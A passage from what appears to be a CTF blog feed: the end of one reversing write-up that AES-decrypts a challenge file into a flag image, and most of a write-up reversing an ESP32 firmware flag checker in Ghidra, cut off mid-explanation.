&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">key&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">bytes&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">fromhex&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;9Dh, E7h, 5Ch, 29h, B5h, 07, 38h, 71h, 0Dh, 83h, 49h,39h, 73h, FDh, EBh, 9Ch&amp;#39;&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">replace&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;,&amp;#39;&lt;/span>&lt;span style="color:#111">,&lt;/span>&lt;span style="color:#d88200">&amp;#39;&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">replace&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;h&amp;#39;&lt;/span>&lt;span style="color:#111">,&lt;/span>&lt;span style="color:#d88200">&amp;#39;&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">replace&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39; &amp;#39;&lt;/span>&lt;span style="color:#111">,&lt;/span>&lt;span style="color:#d88200">&amp;#39;&amp;#39;&lt;/span>&lt;span style="color:#111">))&lt;/span> &lt;span style="color:#75715e"># the key extracted from ida&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">print&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">key&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">hex&lt;/span>&lt;span style="color:#111">())&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">cipher&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">AES&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">new&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">key&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">AES&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">MODE_CBC&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">iv&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">plaintext&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">unpad&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">cipher&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">decrypt&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">data&lt;/span>&lt;span style="color:#111">),&lt;/span> &lt;span style="color:#111">AES&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">block_size&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">open&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;dec&amp;#39;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#d88200">&amp;#39;wb&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">write&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">plaintext&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>running file on dec we see that it is an image:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ file dec
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>dec: JPEG image data, baseline, precision 8, 1280x720, components &lt;span style="color:#ae81ff">3&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>viewing it gives us the flag:
&lt;img
src="https://nothoudaifa.github.io/alpaca-bside-stealerusk/dec.jpeg"
alt="flag image"
loading="lazy"
decoding="async"
class="full-width"
/>
&lt;/p></description><author>nothoudaifa</author><guid>https://nothoudaifa.github.io/posts/alpaca-bside-stealerusk/</guid><pubDate>Sun, 28 Jun 2026 00:00:00 +0000</pubDate></item><item><title>Extensif chall from ECSC 2026 writeup</title><link>https://nothoudaifa.github.io/posts/ecsc2026-extensif/</link><description>&lt;p>you can check the challenge &lt;a href="https://hackropole.fr/en/challenges/reverse/fcsc2026-reverse-extensif/">here&lt;/a>, difficulty is 1 star.&lt;/p>
&lt;h2 id="tldr">TL;DR&lt;/h2>
&lt;p>reversing an esp32 app image that does basic flag checking&lt;/p>
&lt;h2 id="solve">Solve&lt;/h2>
&lt;p>we are given a file &lt;code>extensif.bin&lt;/code> running &lt;code>file&lt;/code> on it gives us this:&lt;/p>
&lt;pre tabindex="0">&lt;code>$ file extensif.bin
extensif.bin: ESP-IDF application image for ESP32, project name: &amp;#34;extensif&amp;#34;, version 1, compiled on Mar 24 2026 15:29:16, IDF version: v5.5.1, entry address: 0x400811E8
&lt;/code>&lt;/pre>&lt;p>it is not an elf, googling &lt;code>ESP-IDF&lt;/code> i find this &lt;a href="https://github.com/BlackVS/ESP32-reversing">github list&lt;/a> which contains a lot of resources on esp32 reversing, i spent some time browsing it and trying different stuff until i came up against this &lt;a href="https://github.com/Ebiroll/esp32_flash_loader">ghidra extension&lt;/a>, which is used to load esp32 flash dumps, using it i can load extensif.bin successfully into ghidra.&lt;/p>
&lt;p>when first loading the binary i find my self in main which is not very helpfull since the main is not of the flag checker rather it is of whatever runs on esp32 when it boots (apparently it&amp;rsquo;s freertos, i grepped for it inside the binary), so to find the user code, i opened Windows-&amp;gt;Defined Strings and searched for the flag format &lt;code>FCSC&lt;/code>.
i found this:
&lt;img
src="https://nothoudaifa.github.io/ecsc2026-extensif/2026-06-26%7c17:41:41.464.png"
alt="FCSC String filter screenshot"
loading="lazy"
decoding="async"
class="full-width"
/>
getting the xrefs for this string i find my self at the function that appears to be the main user code&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">void&lt;/span> &lt;span style="color:#75af00">UndefinedFunction_400d6000&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#00a8c8">void&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">code&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">pcVar1&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">undefined&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">puVar2&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">undefined&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">puVar3&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">int&lt;/span> &lt;span style="color:#111">iVar4&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">int&lt;/span> &lt;span style="color:#111">iVar5&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">char&lt;/span> &lt;span style="color:#111">acStack_51&lt;/span> &lt;span style="color:#111">[&lt;/span>&lt;span style="color:#ae81ff">33&lt;/span>&lt;span style="color:#111">];&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">byte&lt;/span> &lt;span style="color:#111">abStack_30&lt;/span> &lt;span style="color:#111">[&lt;/span>&lt;span style="color:#ae81ff">48&lt;/span>&lt;span style="color:#111">];&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">puVar2&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">PTR_s_Bienvenue_400d0698&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">func_0x400d8590&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">puVar2&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">for&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">iVar5&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#111">iVar5&lt;/span> &lt;span style="color:#f92672">&amp;lt;&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#111">iVar5&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">iVar5&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">iVar4&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">iVar5&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">puVar2&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">PTR_DAT_400d069c&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">puVar2&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">iVar5&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0x46&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">puVar2&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">iVar4&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0x43&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">puVar2&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">iVar4&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0x53&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">puVar2&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">iVar4&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#ae81ff">3&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0x43&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">func_0x400d60e4&lt;/span>&lt;span style="color:#111">();&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">for&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">iVar5&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#111">iVar5&lt;/span> &lt;span style="color:#f92672">&amp;lt;&lt;/span> &lt;span style="color:#ae81ff">0x10&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#111">iVar5&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">iVar5&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">puVar3&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">PTR_BYTE_400d06a0&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">puVar2&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">PTR_DAT_400d069c&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">abStack_30&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">iVar5&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">puVar3&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">iVar5&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">^&lt;/span> &lt;span style="color:#111">puVar2&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">iVar5&lt;/span>&lt;span style="color:#111">];&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">puVar2&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">PTR_s_Entrez_le_flag_&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">16&lt;/span>&lt;span style="color:#111">_chars&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">:&lt;/span>&lt;span style="color:#111">_400d06a4&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">func_0x400d8438&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">puVar2&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">iVar5&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">func_0x40088434&lt;/span>&lt;span style="color:#111">();&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">pcVar1&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">code&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#111">PTR_fflush_400d06b8&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">pcVar1&lt;/span>&lt;span style="color:#111">)(&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">undefined4&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">)(&lt;/span>&lt;span style="color:#111">iVar5&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#ae81ff">8&lt;/span>&lt;span style="color:#111">));&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">iVar5&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">func_0x40088434&lt;/span>&lt;span style="color:#111">();&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">iVar5&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">func_0x400d8048&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">acStack_51&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">,&lt;/span>&lt;span style="color:#ae81ff">0x20&lt;/span>&lt;span style="color:#111">,&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">undefined4&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">)(&lt;/span>&lt;span style="color:#111">iVar5&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span>&lt;span style="color:#111">));&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">iVar5&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">puVar2&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">PTR_s_Erreur_de_lecture_400d06a8&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// -- (1)
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#75af00">func_0x400d8590&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">puVar2&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">else&lt;/span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">pcVar1&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">code&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#111">PTR_strlen_400d0660&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">iVar5&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">pcVar1&lt;/span>&lt;span style="color:#111">)(&lt;/span>&lt;span style="color:#111">acStack_51&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">iVar5&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">acStack_51&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">iVar5&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#d88200">&amp;#39;\n&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">acStack_51&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">iVar5&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#d88200">&amp;#39;\0&amp;#39;&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">iVar5&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">iVar5&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">iVar5&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">0x10&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">pcVar1&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">code&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#111">PTR_memcmp_400d067c&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">iVar5&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">pcVar1&lt;/span>&lt;span style="color:#111">)(&lt;/span>&lt;span style="color:#111">acStack_51&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">,&lt;/span>&lt;span style="color:#111">abStack_30&lt;/span>&lt;span style="color:#111">,&lt;/span>&lt;span style="color:#ae81ff">0x10&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">iVar5&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">func_0x400d8504&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">puVar2&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">PTR_DAT_400d06b0&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">func_0x400d8438&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">puVar2&lt;/span>&lt;span style="color:#111">,&lt;/span>&lt;span style="color:#111">acStack_51&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">return&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">puVar2&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">PTR_s_&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#111">]&lt;/span>&lt;span style="color:#111">_Essaie_encore_400d06b4&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">func_0x400d8590&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">puVar2&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">return&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">puVar2&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">PTR_s_&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#111">]&lt;/span>&lt;span style="color:#111">_Longueur_invalide&lt;/span>&lt;span style="color:#111">.&lt;/span>&lt;span style="color:#111">_400d06ac&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">func_0x400d8590&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">puVar2&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">return&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>as you can see, it&amp;rsquo;s pretty bad decompilation, one reason for this is that the architecture of the esp32 Xtensa uses 24 or 16 bit instructions sizes which means you need more than one instruction to assgin an address to registers, so what the compiler does is it puts addresses into nearby memory locations so they can be addressed relatively (got this from &lt;a href="https://vik0t0r.github.io/posts/ESP32-arduino-RE/#step-4-analysis">here&lt;/a>).&lt;/p>
&lt;p>anyway, this program is reading a 0x10 long flag into &lt;code>acStack_51 + 1&lt;/code> and memcmp&amp;rsquo;ing it with &lt;code>abStack_30&lt;/code> so we just need to figure out what&amp;rsquo;s in it, i used error messages to figure out what it&amp;rsquo;s doing for example it&amp;rsquo;s trying to print the message &lt;code>PTR_s_Erreur_de_lecture_400d06a8&lt;/code> which obviously means the function before tries to read input.&lt;/p>
&lt;p>the program tries to write the xor of PTR_BYTE_400d06a and PTR_DAT_400d069c into &lt;code>abStack_30&lt;/code> in here:&lt;/p>
